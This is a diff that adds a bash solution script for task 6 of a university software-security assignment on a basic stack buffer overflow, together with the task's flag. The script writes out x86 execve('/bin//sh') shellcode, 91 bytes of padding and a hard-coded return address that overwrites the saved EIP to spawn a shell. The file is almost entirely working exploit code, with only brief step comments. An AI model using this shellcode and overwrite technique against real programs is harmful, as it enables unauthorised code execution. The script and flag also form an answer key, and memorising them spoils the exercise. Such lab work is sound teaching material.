[Assignment-6] solution task 6 (basic buffer overflow attack)

Assignment 6 - Softwaresicherheit - Teil 2/basic_overflow/solution.sh

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+#!/bin/bash
+
+# flag{THAT_WAS_EASY_HUH}
+
+######### Exploit #########
+# Step 1: Write the provided shellcode to stdout
+printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+
+# Step 2: Fill the buffer with 'A's until the stored EIP is reached
+printf "A%.0s" {1..91}
+
+# Step 3: Overwrite the stored EIP with the address of the shellcode
+printf "\x2c\xd5\xff\xff"
+###########################